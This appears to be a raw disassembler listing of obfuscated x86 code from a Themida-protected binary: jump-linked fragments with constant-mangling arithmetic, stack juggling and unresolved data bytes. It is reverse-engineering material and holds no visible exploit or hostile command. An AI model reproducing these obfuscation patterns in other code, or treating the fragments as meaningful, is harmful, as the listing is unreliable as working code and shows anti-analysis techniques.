loc_569003:				; CODE XREF: Themida_:0056C21Ej
		xor	edx, edi
		pop	edi
		push	edx
		sub	dword ptr [esp], 6AE96807h
		jmp	loc_5681CC
; ---------------------------------------------------------------------------

loc_569013:				; CODE XREF: Themida_:005665FCj
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esi, 48257C26h
		push	ebp
		mov	ebp, 21ED34CBh
		jmp	loc_56579F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFD75Ah
; ---------------------------------------------------------------------------

loc_569040:				; CODE XREF: Themida_:0055F0DFj
		mov	esi, esp
		jmp	loc_56653A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9028864h, 0FFFF481Dh
; ---------------------------------------------------------------------------

loc_569050:				; CODE XREF: Themida_:00564DCDj
		add	ebx, eax
		pop	eax
		jmp	loc_56099B
; ---------------------------------------------------------------------------

loc_569058:				; CODE XREF: Themida_:00570CBAj
		pop	ecx
		sub	ebp, ebx
		jmp	loc_564806
; ---------------------------------------------------------------------------

loc_569060:				; CODE XREF: Themida_:005725E3j
		shl	eax, cl
		push	0ACEh
		jmp	loc_5724DA
; ---------------------------------------------------------------------------
		dd 51242C89h, 0FFA948E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569075:				; CODE XREF: Themida_:00560279j
		mov	edx, 36ED08E3h
		xor	edx, 7FC635B9h
		sub	edx, 492B3D56h
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 77BD597Ah
		or	ecx, 4C226D30h
		xor	ecx, 0F053825h
		jmp	loc_56BD3F
; ---------------------------------------------------------------------------

loc_5690A5:				; CODE XREF: Themida_:0055DBA0j
		add	edi, 2E51777Bh
		jmp	loc_5620D6
; ---------------------------------------------------------------------------

loc_5690B0:				; CODE XREF: Themida_:00562925j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_560907
; ---------------------------------------------------------------------------

loc_5690D0:				; CODE XREF: Themida_:00567F6Cj
		mov	edx, ecx
		jmp	loc_56AD3E
; ---------------------------------------------------------------------------
		db 31h
		dd 0DDE95FFDh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5690DF:				; CODE XREF: Themida_:0056E5BCj
		push	edx
		jmp	loc_56A832
; ---------------------------------------------------------------------------

loc_5690E5:				; CODE XREF: Themida_:0056DC34j
		mov	ebx, ecx
		pop	ecx
		jmp	loc_56AB18
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 1
		dd 814E5B7Ch, 8B5047EAh, 0F9C2816Ah, 5B1E5279h,	5202C283h
		dd 42474FFh, 5A2434FFh,	303F68h, 24048900h, 8A68E089h
		dd 8900000Dh, 9EB9240Ch, 0F72F1F37h, 65F181D1h,	0E9D0E0C8h
		dd 257Bh
; ---------------------------------------------------------------------------

loc_569130:				; CODE XREF: Themida_:0056F9F6j
		sub	ebx, edx
		jmp	loc_566833
; ---------------------------------------------------------------------------
		db 0F7h
aST		db 'пИхt',0
		align 2

loc_56913E:				; CODE XREF: Themida_:0056D936j
		mov	edx, 5B09503Fh
		sub	edx, 57AF205Bh
		jmp	loc_56D844
; ---------------------------------------------------------------------------
		dw 2DADh
		dd 7B2860E2h, 0FF7664E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569159:				; CODE XREF: Themida_:00563FF5j
		mov	[esp], edx
		jmp	loc_55E100
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 348704EEh, 34895C24h, 65A1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_569176:				; CODE XREF: Themida_:00563398j
		shr	edi, 2
		push	ebp
		mov	ebp, 78AF1304h
		dec	ebp
		xor	ebp, 38F5FC7Eh
		xor	edi, ebp
		pop	ebp
		jmp	loc_56C4E3
; ---------------------------------------------------------------------------
		dw 5266h
		dd 0D8E9D7B6h, 0FFFFFFC2h, 0E95F2404h, 0FFFFFC9Bh, 27E9E789h
		dd 0BDFFFFC1h, 7DC3C6B2h, 2C8BE929h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 1BCF1759h
		add	eax, 78187E39h
		add	eax, 2511024Ah
		add	eax, ecx
		sub	eax, 2511024Ah
		sub	eax, 78187E39h
		push	edi
		mov	edi, 110E0FCBh
		inc	edi
		push	esi
		push	ebp
		mov	ebp, 142021F7h
		jmp	loc_56CEE5
; ---------------------------------------------------------------------------
		dw 0A604h
		dd 0FE4FB151h, 3DF180C9h, 6659C800h, 0CB353h, 1C8B66D8h
		dd 9232E924h, 2C8B0000h, 4C48324h, 5C241C87h, 9076E9h
		dd 81E38900h, 4C3h, 4EB8100h, 0E9000000h, 0FFFF4911h, 68241C8Bh
		dd 2999h, 0E9241489h, 406Fh, 7EF968h, 24148900h, 5752C289h
		dd 0A90540BFh, 7C2DE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569256:				; CODE XREF: Themida_:0055F511j
		sub	ebx, 60064ABCh
		jmp	loc_5689B0
; ---------------------------------------------------------------------------

loc_569261:				; CODE XREF: Themida_:00571E6Dj
		add	esp, 4
		shr	bh, 1
		add	bh, 7Dh
		xor	bh, 35h
		shr	bh, 7
		xor	bh, 4Fh
		jmp	loc_55EB4C
; ---------------------------------------------------------------------------

loc_569277:				; CODE XREF: Themida_:005642F1j
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		push	7960h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55FC6B
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 5704C483h, 42474FFh,	3D65E9h
		db 0
; ---------------------------------------------------------------------------

loc_5692A1:				; CODE XREF: Themida_:005632B8j
		mov	edx, esp
		add	edx, 4
		jmp	loc_55F573
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 8B66C331h,	6E92414h
		dd 8B000003h, 0C483241Ch, 26EB8104h, 1557417h, 26C381F3h
		dd 5E557417h, 5302C383h, 42474FFh, 81241C8Bh, 4C4h, 24048F00h
		dd 0E924248Bh, 5A7h
; ---------------------------------------------------------------------------

loc_5692FC:				; CODE XREF: Themida_:0056DDEBj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 3FF72873h
		jmp	loc_56EC78
; ---------------------------------------------------------------------------
		dw 489h
		dd 4ED6824h, 0C890000h,	3FB3B924h, 79E91CAFh, 5600008Ch
		dd 4AE2BE66h, 1EBF6657h, 0CF816658h, 32E939E7h,	8BFFFF95h
		dd 0C4812404h, 4, 56E38953h, 2BA6E9h, 54EE8100h, 586A432Bh
		dd 93685357h, 5B0BE120h, 7E0FE9h, 0CBE95900h, 8B000071h
		dd 0C483241Ch, 4C48104h, 55000000h, 847EE9h
		db 0
; ---------------------------------------------------------------------------

loc_56937D:				; CODE XREF: Themida_:00564BA2j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56152B
; ---------------------------------------------------------------------------
		dd 0BE243489h, 3CA431B5h, 0FFD388E9h, 5C015FFFh, 0DAE90824h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5693AB:				; CODE XREF: Themida_:00566DDEj
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 3445547h
		add	edi, 52010CF3h
		sub	edi, 39824823h
		jmp	loc_5713B0
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 54h
		dd 8100001Fh, 343262E9h, 2434FF76h, 6093E9h, 4C78100h
		dd 51000000h, 4FB7E956h, 0E1C00000h, 83F18007h,	0C8BC828h
		dd 505DE924h, 0B951FFFFh, 6DA629E0h, 0D622C181h, 0CA899259h
		dd 5AD10159h, 2474FF51h, 48F5904h, 24248B24h, 9C243CD3h
		dd 0FF4438E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569435:				; CODE XREF: Themida_:00563340j
		pop	ebp
		jmp	loc_565AC8
; ---------------------------------------------------------------------------

loc_56943B:				; CODE XREF: Themida_:0055DEEDj
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	ebp, esi
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		not	esi
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56A98D
; ---------------------------------------------------------------------------
		dd 4954C181h, 0EE93341h, 53FFFFE4h, 2EE9E389h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56948F:				; CODE XREF: Themida_:005601BAj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ah, 17h
		xor	ah, 0D9h
		push	ecx
		jmp	loc_5611A8
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 53h
		dd 29441440h, 53BA52C1h, 29441440h, 24148BD1h, 4C481h
		dd 51580000h, 42474FFh,	592434FFh, 0E904EC83h, 0FFFF60B8h
; ---------------------------------------------------------------------------

loc_5694CC:				; CODE XREF: Themida_:0056AB1Ej
		shl	ebp, 1
		jmp	loc_570565
; ---------------------------------------------------------------------------
		db 89h
		dd 0C80159C8h, 0FFFE88E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5694DD:				; CODE XREF: Themida_:00561AB3j
		sub	eax, 7D469F1h
		push	ebx
		mov	ebx, 0CBE22EDh
		dec	ebx
		shr	ebx, 6
		shr	ebx, 3
		add	ebx, 2D78092Eh
		add	ebx, 0E6CBE44Ch
		or	eax, ebx
		pop	ebx
		not	eax
		xor	eax, 6DC8D74Fh
		or	ebp, eax
		pop	eax
		shr	ebp, 2
		jmp	loc_567C51
; ---------------------------------------------------------------------------
		dd 4C481h, 0E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56951B:				; CODE XREF: Themida_:005709DBj
		mov	[esp], ecx
		mov	ch, 16h
		neg	ch
		neg	ch
		jmp	loc_55DB5C
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0EA810000h, 47912426h, 0C281CA01h, 47912426h, 0C56EE959h
		dd 0C083FFFFh, 74FF5004h, 8F580424h, 248B2404h,	6FE96824h
		dd 3C890000h, 495EE924h, 0EC81FFFFh, 4,	0FFFDADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569569:				; CODE XREF: Themida_:0056A9A7j
		xor	eax, esi
		push	edx
		jmp	loc_561F86
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0FF98B9E9h, 23D268FFh, 0A3E90000h, 5900003Eh, 5351C8FEh
		dd 0FD889CB7h, 0C941E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569592:				; CODE XREF: Themida_:00564019j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_5648F3
; ---------------------------------------------------------------------------
aFysK		db 'fYИ╬k',0
		align 4
		dd 1CC6C381h, 0C143BBEBh, 0CAE906E3h, 28FFFFF6h, 241C8BF8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_567719
; ---------------------------------------------------------------------------
		dw 0DCF6h
		dd 785BE9h, 4EC8300h, 0E9243489h, 10ABh, 4B92C781h, 0A5E9448Bh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5695E7:				; CODE XREF: Themida_:0056CA51j
		and	esi, eax
		pop	eax
		xor	esi, 3265557Ah
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		jmp	loc_55F03F
; ---------------------------------------------------------------------------
		db 89h
		dd 24048BC1h, 81E68956h, 4C6h, 1C06800h, 2C890000h, 4A19BD24h
		dd 2EE919A9h, 8100003Ah, 4ECh, 241C8900h, 8251E9h, 4C38100h
		dd 0E9000000h, 0FFFF780Bh
; ---------------------------------------------------------------------------

loc_569638:				; CODE XREF: Themida_:00567D2Fj
		pop	ebp
		jmp	loc_56A2C4
; ---------------------------------------------------------------------------
		dw 0C5FEh
		dd 802ACD80h, 0ED80CCF5h, 0ECB3E91Ch, 8858FFFFh, 241C8BDEh
		dd 0E904C483h, 0FFFF8631h
; ---------------------------------------------------------------------------

loc_56965C:				; CODE XREF: Themida_:0056D903j
		mov	esp, [esp]
		push	23A0h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55FBB4
; ---------------------------------------------------------------------------

loc_569672:				; CODE XREF: Themida_:0056CDD1j
		sub	bl, ah
		sub	bl, 0F1h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569FFE
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 51h
		dd 0CDFE0CB5h, 0FF45F6E9h, 4C483FFh, 0E904EC83h, 0FFFF81F1h
		dd 875BDE01h, 248B2434h, 4C78124h, 83000000h, 3C8702C7h
		dd 7EE95C24h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5696B7:				; CODE XREF: Themida_:0055DB6Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ch, bh
		mov	bx, [esp]
		add	esp, 2
		add	ch, 0A4h
		jmp	loc_560C9F
; ---------------------------------------------------------------------------

loc_5696DB:				; CODE XREF: Themida_:00570081j
		xor	al, 0E6h
		shr	al, 6
		jmp	loc_56E74A
; ---------------------------------------------------------------------------
		db 1, 0EEh, 0E9h
		dd 1288h, 89241C89h, 4C381E3h, 83000000h, 1C8704C3h, 0EF815C24h
		dd 50962875h, 24EFE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56970A:				; CODE XREF: Themida_:005630D9j
		mov	edi, ecx
		jmp	loc_55FF53
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0C3h
		dd offset dword_4F6044+1A5h
		db 0
; ---------------------------------------------------------------------------

loc_569719:				; CODE XREF: Themida_:005660B0j
		sub	dword ptr [esp], 2CC560FFh
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2CC560FFh
		add	eax, 72757C88h
		add	eax, edi
		sub	eax, 72757C88h
		pop	edi
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_56D476
; ---------------------------------------------------------------------------

loc_569747:				; CODE XREF: Themida_:0056F133j
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_569DF8
; ---------------------------------------------------------------------------

loc_569752:				; CODE XREF: Themida_:005607B0j
		sub	eax, 2C294E0Dh
		sub	eax, edx
		add	eax, 2C294E0Dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56E365
; ---------------------------------------------------------------------------
		db 88h,	0ECh, 59h
		dd 81241C8Bh, 4C4h, 0E984B600h,	5313h
; ---------------------------------------------------------------------------

loc_56977C:				; CODE XREF: Themida_:00570465j
		push	ebp
		push	esi
		jmp	loc_55FB2E
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C4h, 242C8B24h, 8704C483h, 76E1E9EFh, 0EC810000h
		dd 4, 0BE243489h, 280E7442h, 4246C81h, 13B1282Eh, 4247401h
		dd 4244481h, 13B1282Eh,	0FF51CFE9h, 61C280FFh, 285AD530h
		dd 0D00059EAh, 8324148Bh, 87E904C4h, 83000082h,	0E95604C4h
		dd 3E6Ah
; ---------------------------------------------------------------------------

loc_5697DC:				; CODE XREF: Themida_:00565D50j
		add	al, 0BFh
		jmp	loc_56AFF0
; ---------------------------------------------------------------------------

loc_5697E3:				; CODE XREF: Themida_:00563CE5j
		add	edx, 7F8E53F1h
		jmp	loc_5710FD
; ---------------------------------------------------------------------------

loc_5697EE:				; CODE XREF: Themida_:005651D4j
		and	edi, 3CF10C35h
		shl	edi, 2
		xor	edi, 0E8102BA0h
		or	edi, 5FD722C6h
		neg	edi
		or	edi, 48BB2ABDh
		xor	edi, 0A57DE5D0h
		add	esi, edi
		pop	edi
		xchg	eax, esi
		push	eax
		jmp	loc_567C91
; ---------------------------------------------------------------------------

loc_56981B:				; CODE XREF: Themida_:0055ED1Bj
		push	4
		pop	ebx
		jmp	loc_56AD16
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFD038h, 2C2F8C68h, 18DE90Ch, 6C810000h, 410C0424h
		dd 0CD68474Dh, 0E900004Eh, 243Eh, 6624248Bh, 50240C8Bh
		dd 6F6168h, 434BE900h, 0D301FFFFh, 52E38953h, 0F27B3FBAh
		dd 3BEA8119h, 119F27Bh,	0EB835AD3h, 74FF5304h, 8F5B0424h
		dd 895C2404h, 5DE9240Ch, 89FFFF75h, 44B82404h, 0E964552Bh
		dd 592Ch
; ---------------------------------------------------------------------------

loc_569890:				; CODE XREF: Themida_:0056104Dj
		dec	ch
		sub	ch, 7
		sub	ch, 0Eh
		add	bl, ch
		pop	ecx
		push	edx
		mov	dl, bl
		jmp	loc_560D7D
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 58BD68h, 24248900h, 4240483h, 83243C8Bh
		dd 0BD5504C4h, 54FB1D87h, 68h, 2570E900h, 148B0000h, 4C48124h
		dd 28000000h, 52C380C3h, 754E6866h, 240C8966h, 35BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5698E5:				; CODE XREF: Themida_:0055F4E2j
		add	esi, 0CB6DF863h
		mov	ebp, esi
		pop	esi
		jmp	loc_561B30
; ---------------------------------------------------------------------------

loc_5698F3:				; CODE XREF: Themida_:0056EB17j
		mov	esi, 27F477D9h
		inc	esi
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 27F477DEh
		mov	edx, ebx
		pop	ebx
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebp, esi
		jmp	loc_56A7F3
; ---------------------------------------------------------------------------
		dd 9C241CF6h, 0FF3F3CE9h, 5AD331FFh, 34FFDA01h,	0EC815B24h
		dd 4, 89241489h, 4C281E2h, 83000000h, 0C4E904EAh
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569953:				; CODE XREF: Themida_:00571125j
		xor	[esp], esi
		jmp	loc_567D3C
; ---------------------------------------------------------------------------
aUvsF		db 'UVИ^F',0
		align 2
		dw 0C15Ah
		dd 0DFE906EAh, 1FFFFABh, 0BE5651CBh, 72384FF3h,	0E95EF189h
		dd 0FFFF7A24h, 8124348Bh, 4C4h,	24143300h, 33241431h, 248B2414h
		dd 4896624h, 3ED3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56999A:				; CODE XREF: Themida_:0056CF30j
		mov	[esp], ebx
		jmp	loc_561344
; ---------------------------------------------------------------------------

loc_5699A2:				; CODE XREF: Themida_:00570C37j
		mov	esp, [esp]
		imul	cx
		jmp	loc_568404
; ---------------------------------------------------------------------------

loc_5699AD:				; CODE XREF: Themida_:00566C00j
		not	ebx
		xor	ebx, 4EF7D12h
		sub	ebx, 76A234B6h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5625FF
; ---------------------------------------------------------------------------
		db 5Ah
		dd 43BCBB53h, 0F3811259h, 50972779h, 42EB8143h,	81036904h
		dd 60BD94C3h, 8BDA2134h, 0C483241Ch, 0E3C4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5699EA:				; CODE XREF: Themida_:005682F6j
		add	esp, 4
		push	6A65h
		mov	[esp], edx
		push	1
		pop	edx
		jmp	loc_5634DC
; ---------------------------------------------------------------------------
aLHwo		db '▀$$hWO',0
		dw 8900h
		dd 2BE2434h, 56000000h,	0DE7FD9BEh, 2C68103h, 8123B94Eh
		dd 6FF1C0F6h, 4B87E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569A2A:				; CODE XREF: Themida_:00568344j
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	63E7h
		jmp	loc_560C3F
; ---------------------------------------------------------------------------

loc_569A4B:				; CODE XREF: Themida_:00563F53j
		push	esi
		mov	esi, 5DE12B22h
		mov	edi, esi
		pop	esi
		inc	edi
		sub	edi, 0DDEBB9D7h
		jmp	loc_55F080
; ---------------------------------------------------------------------------
		dd 3B38C181h, 0EC817B72h, 4, 50242C89h,	0F40262B8h, 4A2BBD5Ah
		dd 0C5315C99h, 0E9E92958h, 0FFFF6CFCh, 256268h,	242C8900h
		dd 292CDD68h, 89515D31h, 59CE89E9h, 1C6815Dh, 0C1000000h
		dd 895006E6h, 405E0h, 0E8830000h, 24043304h, 33240431h
		dd 895C2404h, 6BBF243Ch, 0E92CF17Eh, 7F36h
; ---------------------------------------------------------------------------

loc_569AC4:				; CODE XREF: Themida_:00565F17j
		push	esp
		pop	ebp
		jmp	loc_57167A
; ---------------------------------------------------------------------------
		db 81h
		dd 357039F7h, 5FFD292Ah, 8324348Bh, 515004C4h, 8206DCB9h
		dd 0E9D9F710h, 7994h, 8324348Ah, 0C68002C4h, 7397E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569AF6:				; CODE XREF: Themida_:00565103j
		sub	ebp, 0D4F6AC1h
		jmp	loc_560B93
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0A8h
		dd 81FFFF58h, 0C38DA0F2h, 8BD029D1h, 1A682414h,	8900006Ah
		dd 0E789243Ch, 4C781h, 0C7810000h, 4, 6B52E9h, 2DD80100h
		dd 645E5104h, 526BF72Dh, 0BE565568h, 2A187B37h,	6327E9h
		dd 4EC8300h, 0BD242C89h, 4, 4246C01h, 0FF8323E9h, 2F40BDFFh
		dd 0DDF74B45h, 0D6CD8145h, 81744667h, 0FEF7D3EDh, 825BE9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_569B72:				; CODE XREF: Themida_:00561676j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560162
; ---------------------------------------------------------------------------

loc_569B7F:				; CODE XREF: Themida_:0055ED31j
		xchg	eax, [esp]
		jmp	loc_563277
; ---------------------------------------------------------------------------

loc_569B87:				; CODE XREF: Themida_:00568CBEj
		add	edx, ecx
		add	edx, 73B52F72h
		sub	edx, 62DB3ABDh
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	3F9Dh
		jmp	loc_570B5D
; ---------------------------------------------------------------------------

loc_569BB5:				; CODE XREF: Themida_:005648FEj
		xor	eax, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_56FEE7
; ---------------------------------------------------------------------------
		db 89h,	0FAh, 0E9h
		dd 0FFFF5F21h, 5F2434FFh, 850CE9h
		db 0
; ---------------------------------------------------------------------------

loc_569BD1:				; CODE XREF: Themida_:00561CE9j
		mov	ecx, 89B110Bh
		mov	ebp, 7D6A6626h
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 8B30AAE9h
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		jmp	loc_5711AC
; ---------------------------------------------------------------------------

loc_569BF4:				; CODE XREF: Themida_:00565AD9j
		mov	edx, 4
		jmp	loc_56F184
; ---------------------------------------------------------------------------
		dw 5350h
		dd 0FFF618E9h, 8ED81FFh, 5039C336h, 661006B8h, 25D0F740h
		dd 2B1A7A44h, 0FFC22FE9h, 0F6EF81FFh, 0E97E3868h, 0FFFF9DA5h
		dd 0E8B2E95Dh, 0DCB9FFFFh, 0E9657F10h, 0CFAh, 8904EC83h
		dd 0E189240Ch, 4C181h, 0ECE90000h, 58FFFF3Dh, 0A143C62Dh
		dd 0FEEE95Fh, 0DFF70000h, 811EC781h, 0FD89A2B1h, 50243C8Bh
		dd 34E9E089h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_569C6B:				; CODE XREF: Themida_:0055EAE8j
		add	edx, 20E14655h
		pop	esi
		dec	edx
		add	edx, 5AE40F55h
		push	esi
		push	0EA31727h
		jmp	loc_56C651
; ---------------------------------------------------------------------------

loc_569C84:				; CODE XREF: Themida_:00567C7Bj
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5624E8
; ---------------------------------------------------------------------------

loc_569C93:				; CODE XREF: Themida_:00568C9Ej
		pop	edx
		jmp	loc_561116
; ---------------------------------------------------------------------------

loc_569C99:				; CODE XREF: Themida_:005653BCj
		neg	ebp
		dec	ebp
		sub	ebp, 8368F03Eh
		sub	esi, ebp
		pop	ebp
		push	0C7Dh
		mov	[esp], edi
		jmp	loc_570DA7
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 921AE924h, 5866FFFFh, 5A66D028h, 0FF4BCDE9h,	376851FFh
		dd 5966D70Ah, 0E7BF181h, 0E9C16E6Bh, 0D1F74907h, 57B9E181h
		dd 0F181338Ch, 60245DDBh, 0E91BB53h, 0EBC17190h, 7DEB8107h
		dd 81389475h, 7951BAE3h, 0D5C3810Dh, 8118AF5Fh,	2A5EC8F3h
		dd 0D65EE92Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569D0A:				; CODE XREF: Themida_:00568782j
		add	edx, 1C2655BAh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2A7BB53h, 814B104Bh,	8D1EBECBh, 0FEF3817Bh, 1794B3Ch
		dd 0ED815BDEh, 50F061B9h, 0C581F501h, 50F061B9h, 242C875Eh
		dd 0FFC26BE9h, 80F328FFh, 73E916C3h, 89FFFFFBh,	4C181E1h
		dd 83000000h, 0C3304E9h, 240C3124h, 0E9240C33h,	3530h
		dd 53243C89h, 0E1128DBBh, 5ED6E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569D7E:				; CODE XREF: Themida_:00568CFBj
		sub	ebx, 6EB0D28h
		add	ebx, edi
		add	ebx, 6EB0D28h
		pop	edi
		push	7DCBh
		mov	[esp], ebx
		jmp	loc_56E0AD
; ---------------------------------------------------------------------------

loc_569D9A:				; CODE XREF: Themida_:00565098j
		sub	ebp, 14390AB5h
		jmp	loc_561B14
; ---------------------------------------------------------------------------
aUsqw		db 'UИqw',0
		dw 100h
		dd 2BE95BD9h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569DB3:				; CODE XREF: Themida_:00570292j
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 6C26016Dh
		or	edi, 6AB37822h
		add	edi, 0B21F2C2Dh
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_560620
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 248B2434h, 2434FF24h, 0FFEA36E9h,	5BD828FFh
		dd 9068D828h, 0E9000040h, 1BADh
; ---------------------------------------------------------------------------

loc_569DF8:				; CODE XREF: Themida_:0056974Dj
		add	esp, 4
		push	ebp
		jmp	loc_564866
; ---------------------------------------------------------------------------
		db 1, 0D5h, 8Bh
		dd 5AE92414h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569E0B:				; CODE XREF: Themida_:0056F0BBj
		mov	[esp], ecx
		mov	ecx, 321F08CDh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	edx
		mov	edx, 607305AFh
		mov	eax, edx
		pop	edx
		sub	edx, eax
		pop	eax
		and	eax, edx
		jmp	loc_55F9F3
; ---------------------------------------------------------------------------
aYhcw		db 'Yhcw',0
		align 4
		dd 0E9243489h, 0FFFFC03Fh, 2DE8015Fh, 799E7EEBh, 0E92434FFh
		dd 0FFFFED30h
; ---------------------------------------------------------------------------

loc_569E50:				; CODE XREF: Themida_:0056C66Fj
		sub	ebx, 1FF4BADh
		jmp	loc_566CF9
; ---------------------------------------------------------------------------
aWs		db 'WИ╫^',0
		dd 14316600h, 8E04E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569E6A:				; CODE XREF: Themida_:00563FEBj
		pop	esp
		jmp	loc_567681
; ---------------------------------------------------------------------------
		dd 0E4C05B66h, 55DE906h, 0E9540000h, 0FFFFB8E7h
; ---------------------------------------------------------------------------

loc_569E80:				; CODE XREF: Themida_:0056F3ADj
		push	edi
		jmp	loc_564488
; ---------------------------------------------------------------------------

loc_569E86:				; CODE XREF: Themida_:0056D6C4j
		mov	esi, 14B33951h
		jmp	loc_56661F
; ---------------------------------------------------------------------------
		dd 0D76850h, 3C890000h,	0DE685624h, 0E91B6864h,	0FFFF506Bh
		dd 4E62B951h, 0D1F72EC5h, 3AC5BE56h, 0F7465446h, 0B1B9E9DEh
		dd 3C89FFFFh, 5D04BF24h, 81470F50h, 506419F7h, 7FB6862h
		dd 3C890000h, 0E89BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569ED6:				; CODE XREF: Themida_:0056E662j
		push	edi
		mov	edi, 4A087D2Dh
		and	edi, 731914BAh
		or	edi, 2B8D3835h
		shl	edi, 1
		jmp	loc_56108F
; ---------------------------------------------------------------------------
		db 51h
